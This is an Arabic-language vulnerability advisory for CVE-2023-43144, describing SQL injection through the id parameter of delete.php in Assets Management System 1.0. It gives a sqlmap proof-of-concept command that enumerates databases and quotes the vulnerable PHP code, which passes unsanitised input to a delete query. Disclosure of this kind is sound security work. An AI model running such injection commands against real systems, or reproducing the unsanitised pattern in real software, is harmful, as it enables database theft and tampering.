CVE-2023-43144

الوصف

Assets Management System 1.0 عرضة لحقن SQL عبر المُعامِل id في delete.php

PoC

sqlmap -u 'http://localhost/delete.php?id=4*' --cookie="PHPSESSID=SESSID" --dbms=MySQL --dbs --batch

مراجعة الكود (delete.php)

 <?php include 'core/init.php'; 
  
 $id = $_GET['id']; 
 delete_data($con,$id); 
 header('location:home.php'); 

لا يوجد أي تحقق أو تعقيم للمتغير $id. هذا يعني أن أي قيمة يقدمها المستخدم كمُعامِل id ستُستخدم مباشرة في استعلام SQL